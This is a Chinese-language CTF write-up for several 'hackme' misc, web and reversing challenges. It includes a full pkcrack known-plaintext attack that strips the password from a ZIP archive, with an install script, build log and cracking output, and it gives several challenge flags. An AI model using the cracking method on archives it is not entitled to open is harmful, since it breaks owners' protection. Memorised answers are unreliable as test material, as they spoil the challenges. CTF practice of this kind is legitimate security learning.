hackme部分题解,随缘更新。
题目太多了,翻阅很不方便,所以将本文按分类拆成了几个部分,每个部分单独一篇文章。
MISC
001 flag
真·签到题
002 corgi can fly
用StegSolve打开
003 television
winhex打开,搜索FLAG即可。
我开始是搜索flag没搜到,所以暂时跳过了这题,哭唧唧
004 meow
foremost拿到一个压缩包和一张图片。压缩包里也有一张图片,且crc相同。明文攻击
root@kali:~# cd ctf
root@kali:~/ctf# ls
meow.png
root@kali:~/ctf# foremost meow.png
Processing: meow.png
|foundat=meow/UT
foundat=meow/flagUT
*|
root@kali:~/ctf# mv ./output/png/00000000.png 00000000.png
root@kali:~/ctf# mv ./output/zip/00000094.zip 00000094.zip
root@kali:~/ctf# zip -r 00000000.zip 00000000.png
adding: 00000000.png (deflated 0%)
root@kali:~/ctf#
下面是安装pkcrack的脚本,脚本来源:记一道明文破解的漫长斗争史
#!/bin/bash -ex
wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
tar xzf pkcrack-1.2.2.tar.gz
cd pkcrack-1.2.2/src
make
mkdir -p ../../bin
cp extract findkey makekey pkcrack zipdecrypt ../../bin
cd ../../
新建pkcrack-install.sh,将上面的脚本写入此文件,如果提示没有权限,可以chmod +x pkcrack-install.sh
然后shell终端内./pkcrack-install.sh
,运行脚本。
root@kali:~/tool# ./pkcrack-install.sh
./pkcrack-install.sh: line 1: !/bin/bash: No such file or directory
--2019-10-25 22:37:33-- https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
Resolving www.unix-ag.uni-kl.de (www.unix-ag.uni-kl.de)... 131.246.124.83, 2001:638:208:ef34:0:ff:fe00:83
Connecting to www.unix-ag.uni-kl.de (www.unix-ag.uni-kl.de)|131.246.124.83|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 174208 (170K) [application/x-gzip]
Saving to: ‘pkcrack-1.2.2.tar.gz’
pkcrack-1.2.2.tar.g 100%[===================>] 170.12K 3.04KB/s in 56s
2019-10-25 22:38:31 (3.04 KB/s) - ‘pkcrack-1.2.2.tar.gz’ saved [174208/174208]
gcc -O6 -Wall -c -o crc.o crc.c
crc.c:24:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: crc.c,v 1.3 1997/09/18 18:07:24 lucifer Release1_2_1 $";
^~~~~
gcc -O6 -Wall -c -o mktmptbl.o mktmptbl.c
mktmptbl.c: In function ‘preCompTemp’:
mktmptbl.c:58:5: warning: implicit declaration of function ‘memset’ [-Wimplicit-function-declaration]
memset(numEntries, 0, sizeof(numEntries));
^~~~~~
mktmptbl.c:58:5: warning: incompatible implicit declaration of built-in function ‘memset’
mktmptbl.c:58:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’
mktmptbl.c:47:1:
+#include <string.h>
mktmptbl.c:58:5:
memset(numEntries, 0, sizeof(numEntries));
^~~~~~
mktmptbl.c: In function ‘initMulTab’:
mktmptbl.c:93:5: warning: incompatible implicit declaration of built-in function ‘memset’
memset(mTab2Counter, 0, sizeof(mTab2Counter));
^~~~~~
mktmptbl.c:93:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’
At top level:
mktmptbl.c:43:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: mktmptbl.c,v 1.9 2002/11/02 15:12:06 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o main.o main.c
main.c:131:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main( int argc, char **argv )
^~~~
main.c:70:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: main.c,v 1.15 2002/11/12 16:58:02 lucifer Exp $";
^~~~~
main.c: In function ‘main’:
main.c:265:2: warning: ‘plain’ may be used uninitialized in this function [-Wmaybe-uninitialized]
close( plain );
^~~~~~~~~~~~~~
main.c:267:2: warning: ‘crypt’ may be used uninitialized in this function [-Wmaybe-uninitialized]
close( crypt );
^~~~~~~~~~~~~~
gcc -O6 -Wall -c -o stage1.o stage1.c
stage1.c:41:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: stage1.c,v 1.8 2002/01/31 16:27:08 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o keystuff.o keystuff.c
keystuff.c:32:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: keystuff.c,v 1.5 2002/11/02 15:12:06 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o stage2.o stage2.c
stage2.c:56:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: stage2.c,v 1.16 2003/01/03 15:18:18 lucifer Exp $";
^~~~~
stage2.c: In function ‘recursion2’:
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c: In function ‘buildKey2Lists’:
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
if( !hadIt || oldValue != newKey )
~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
^~~~~~~~
gcc -O6 -Wall -c -o stage3.o stage3.c
stage3.c:51:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: stage3.c,v 1.10 2002/12/30 18:27:25 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o exfunc.o exfunc.c
exfunc.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: exfunc.c,v 1.9 2003/01/05 14:40:37 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o readhead.o readhead.c
readhead.c: In function ‘read_local’:
readhead.c:318:21: warning: unused variable ‘sig’ [-Wunused-variable]
unsigned long sig;
^~~
At top level:
readhead.c:71:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: readhead.c,v 1.13 2003/01/05 14:40:37 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o writehead.o writehead.c
writehead.c: In function ‘write_sig’:
writehead.c:64:52: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 3 has type ‘int’ [-Wformat=]
fprintf( stderr, "Write unknown signature: 0x%08lx\n", sigType );
~~~~^ ~~~~~~~
%08x
At top level:
writehead.c:33:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: writehead.c,v 1.4 2003/01/05 14:40:37 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o zipdecrypt.o zipdecrypt.c
zipdecrypt.c: In function ‘zipdecrypt’:
zipdecrypt.c:244:47: warning: comparison of constant ‘0’ with boolean expression is always false [-Wbool-compare]
err = (!read_ddesc(infile, 0) < 0);
^
zipdecrypt.c:244:47: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses]
zipdecrypt.c:244:24: note: add parentheses around left hand side expression to silence this warning
err = (!read_ddesc(infile, 0) < 0);
^~~~~~~~~~~~~~~~~~~~~~
( )
At top level:
zipdecrypt.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: zipdecrypt.c,v 1.16 2003/01/05 14:40:37 lucifer Exp $";
^~~~~
gcc -O6 -Wall -c -o debug.o debug.c
debug.c:17:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: debug.c,v 1.2 2002/01/30 15:25:26 lucifer Exp $";
^~~~~
gcc -o pkcrack -O6 -Wall crc.o mktmptbl.o main.o stage1.o keystuff.o stage2.o stage3.o exfunc.o readhead.o writehead.o zipdecrypt.o debug.o
gcc -O6 -Wall -c -o zdmain.o zdmain.c
zdmain.c:38:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main( int argc, char **argv )
^~~~
zdmain.c:28:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: zdmain.c,v 1.4 2002/12/28 17:01:42 lucifer Exp $";
^~~~~
gcc -o zipdecrypt -O6 -Wall zdmain.o zipdecrypt.o crc.o keystuff.o writehead.o readhead.o
gcc -O6 -Wall -c -o findkey.o findkey.c
findkey.c:59:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main( int argc, char **argv )
^~~~
findkey.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: findkey.c,v 1.6 2002/11/02 15:12:06 lucifer Exp $";
^~~~~
gcc -o findkey -O6 -Wall findkey.o crc.o stage3.o keystuff.o mktmptbl.o
gcc -O6 -Wall -c -o extract.o extract.c
extract.c:93:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main(int argc, char *argv[])
^~~~
extract.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: extract.c,v 1.12 2002/12/28 16:09:59 lucifer Exp $";
^~~~~
gcc -o extract -O6 -Wall extract.o exfunc.o readhead.o
gcc -O6 -Wall -c -o makekey.o makekey.c
makekey.c: In function ‘usage’:
makekey.c:24:5: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
exit( 1 );
^~~~
makekey.c:24:5: warning: incompatible implicit declaration of built-in function ‘exit’
makekey.c:24:5: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
makekey.c:18:1:
+#include <stdlib.h>
makekey.c:24:5:
exit( 1 );
^~~~
makekey.c: At top level:
makekey.c:27:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main( int argc, char **argv )
^~~~
makekey.c:19:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
static char RCSID[]="$Id: makekey.c,v 1.1 1997/02/15 09:44:44 lucifer Release1_2_1 $";
^~~~~
gcc -o makekey -O6 -Wall makekey.o crc.o keystuff.o
很多报错,但是我测试时发现并没有影响正常使用。
上面的脚本把extract
findkey
makekey
pkcrack
zipdecrypt
这几个工具copy到了bin文件夹(我的脚本在/root/tool,所以在/root/tool/bin)
为了可以直接在终端中使用,而不是每次使用都去相应的文件夹,我们将/root/tool/bin
(这是我的路径,请换成你的)添加进环境变量。这里我们为所有用户添加永久的环境变量。
vim /etc/profile
在文件的末尾添加一句:export PATH="$PATH:/root/tool/bin"
保存后在终端键入source /etc/profile
然后重启。不重启的话,改动仅对当前终端窗口有效。
参考:Linux环境变量总结,linux 环境变量设置(临时 + 永久)
此时,在终端内可以直接使用pkcrack。
pkcrack参数(部分)
-C:要破解的目标文件(含路径)
-c:破解文件中的明文文件的名字(其路径不包括系统路径,从zip文件一层开始)
-P:压缩后的明文文件
-p:压缩的明文文件中明文文件的名字(也就是readme.txt在readme.zip中的位置)
-d:指定文件名及所在的绝对路径,将解密后的zip文件输出
root@kali:~/ctf# pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P 00000000.zip -p 00000000.png -d flag.zip
Files read. Starting stage 1 on Fri Oct 25 23:01:00 2019
Generating 1st generation of possible key2_48403 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 980 values at offset 42158
Lowest number: 944 values at offset 42142
Lowest number: 911 values at offset 42114
Lowest number: 874 values at offset 42108
Lowest number: 848 values at offset 42099
Lowest number: 834 values at offset 42096
Lowest number: 833 values at offset 42095
Lowest number: 824 values at offset 42083
Lowest number: 786 values at offset 42082
Lowest number: 776 values at offset 42078
Lowest number: 721 values at offset 42073
Lowest number: 701 values at offset 42063
Lowest number: 678 values at offset 41929
Lowest number: 672 values at offset 41883
Lowest number: 663 values at offset 41882
Lowest number: 612 values at offset 41693
Lowest number: 548 values at offset 41691
Lowest number: 546 values at offset 41357
Lowest number: 521 values at offset 41347
Lowest number: 482 values at offset 41186
Lowest number: 426 values at offset 41048
Lowest number: 413 values at offset 41013
Lowest number: 390 values at offset 41012
Lowest number: 374 values at offset 41006
Lowest number: 371 values at offset 41004
Lowest number: 335 values at offset 41003
Lowest number: 311 values at offset 29709
Lowest number: 284 values at offset 29706
Lowest number: 266 values at offset 29705
Lowest number: 263 values at offset 29703
Lowest number: 260 values at offset 29702
Lowest number: 240 values at offset 29701
Lowest number: 221 values at offset 29683
Lowest number: 211 values at offset 13941
Lowest number: 206 values at offset 13934
Lowest number: 194 values at offset 13933
Lowest number: 178 values at offset 13932
Lowest number: 169 values at offset 13928
Lowest number: 166 values at offset 12839
Lowest number: 156 values at offset 12837
Lowest number: 132 values at offset 12836
Lowest number: 131 values at offset 12832
Lowest number: 114 values at offset 12830
Lowest number: 102 values at offset 12829
Lowest number: 99 values at offset 12816
Done. Left with 99 possible Values. bestOffset is 12816.
Stage 1 completed. Starting stage 2 on Fri Oct 25 23:01:17 2019
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Stage 2 completed. Starting zipdecrypt on Fri Oct 25 23:01:18 2019
Decrypting meow/flag (7ca54613495f8d895211c482)... OK!
Decrypting meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png (7cc69c9de15dc6a6f74f602f)... OK!
Finished on Fri Oct 25 23:01:18 2019
root@kali:~/ctf#
flag.zip就是消去密码的压缩包,打开
踩坑
开始时如图进行压缩
得到得压缩包中得crc也是相同的,但是使用pkcrack的时候,错误如下:
root@kali:~/ctf# pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P 00000000.zip -p 00000000.png -d flag.zip
Error reading ZIP file: Success
卡了很久,后来使用内置zip压缩命令zip -r 00000000.zip 00000000.png
,这才成功明文攻击。
对比一下两种方式得到的压缩包,发现十六进制数据并不相同。所以说,不同的压缩方式(软件),即使目标压缩类型相同,得到的数据也未必相同。
别人的踩坑记录:记一道明文破解的漫长斗争史
005 where is flag
打开后发现是海量的flag字符串的变形。题目描述中提示正则表达式
import re
with open('flag')as f:
t = f.read()
flag = re.findall(r'FLAG{[a-zA-Z0-9 ]+?}', t)
for i in flag:
print(i)
FLAG{VizQLeu9M3aybJBA3f1AgFROGyuTLXZ2oeRbKf1Agf1AgFLAG9hBTI}
开始时规则设置为r'FLAG{.+?}'
,提取出很多flag,所以加强了规则
008 pusheen.txt
很容易猜测两个图像分别代表0和1
import re
with open('pusheen.txt','r',encoding='utf-8')as f:
s = f.read()
a = ''' ▐▀▄ ▄▀▌ ▄▄▄▄▄▄▄
▌ ▀▄▄▄▄▄▀ ▐▄▀▀ ██ ██ ▀▀▄
▐ ▀ ▀ ▀ ▀▄
▌ ▄ ▀▄
▀█ █▌ █ ▐█ ▀ ▌
▀▌ ▀ ▀ ▀▀ ▐ ▄▄
▐ ▌▄█ █
▐ █ █▀
▐ █▀
▐ ▌
▌ ▐
▐ ▌
▌ ▐
▐▄ ▄▌
▀▄▄▀▀▀▀▀▄▄▀▀▀▀▀▀▀▄▄▀▀▀▀▀▄▄▀
'''
b = ''' ▐▀▄ ▄▀▌ ▄▄▄▄▄▄▄
▌▒▒▀▄▄▄▄▄▀▒▒▐▄▀▀▒██▒██▒▀▀▄
▐▒▒▒▒▀▒▀▒▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▄
▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▒▒▒▒▒▒▒▒▒▒▒▒▀▄
▀█▒▒▒█▌▒▒█▒▒▐█▒▒▒▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
▀▌▒▒▒▒▒▒▀▒▀▒▒▒▒▒▒▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐ ▄▄
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌▄█▒█
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▒█▀
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▀
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐
▐▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▌
▀▄▄▀▀▀▀▀▄▄▀▀▀▀▀▀▀▄▄▀▀▀▀▀▄▄▀
'''
s = s.replace(a,'0').replace(b,'1').replace('\n','')
print(s)
输出为010001100100110001000001010001110111101101010000011101010111001101101000011001010110010101101110001000000100111101001001010011110100111101001111010010010100100101001111010011110100100101001111010011110100100101001001010011110100111101001111010010010100111101001111010011110100111101001111010010010100111101001001010011110100111101001111010010010100100101001001001000000100001101110101011101000110010101111101
转换成十六进制,再转换成字符串
099 easy pdf
kali下使用pdftohtml将pdf文件转换为html,隐藏在pdf文件中的flag就在html中显示出来了
不指定html的名字则默认pdf的文件名
100 this is a pen
方法同上
FLAG{Image behind another image. LoL}
WEB
015 hide and seek
查看源代码
逆向
041 helloworld
要求输入一个数。
ida打开后很容易知道。
最简单的签到题
042 simple
"UIJT.JT.ZPVS.GMBH"
字符分别减一即可
s = 'UIJT.JT.ZPVS.GMBH'
for i in s:
print(chr(ord(i)-1),end='')
043passthis
不要直接运行,火绒会报毒,关闭火绒后再运行,电脑直接黑屏。
主逻辑就是判断数据库字符串与输入字符串异或值是否为135。(46行)
将byte_404040处的数据复制,通过winhex生成文件。
with open('11.txt','rb')as f: #二进制读入
s = f.read()
print(s)
for i in s:
print(chr(i^135),end='')
顺便说一下_bittest(*a, b),检查地址a中,第b位的值是0还是1。注意到b的值从0开始取。
https://docs.microsoft.com/en-us/cpp/intrinsics/bittest-bittest64?view=vs-2019
https://www.cnblogs.com/aquar/archive/2009/11/08/3451517.html
044 pyyy
直接运行pyc,没运行成功
然后在线反编译,但是拿到的py代码不是很理想。然后使用uncompyle6反编译的。
pip install uncompyle6
uncompyle6 D:\桌面\pyyy.pyc > D:\桌面\123123.py
拿到代码
__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L
z = []
for i, f in enumerate(F):
n = pow(f, m, g)
this_is = 'Y-Combinator'
l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777)
c = raw_input('Channenge #%d:' % i)
if int(c) != l:
print 'Wrong~'
exit()
z.append(l)
z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'
print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))
__import__('sys').setrecursionlimit(1048576)
设置最大递归次数
lambda起到匿名函数的功能。可参考:
https://rosettacode.org/wiki/Y_combinator#Python
https://www.cnblogs.com/evening/archive/2012/03/29/2423554.html
我开始想读懂算法,但是这个lambda太难读了,毫无游戏体验感。
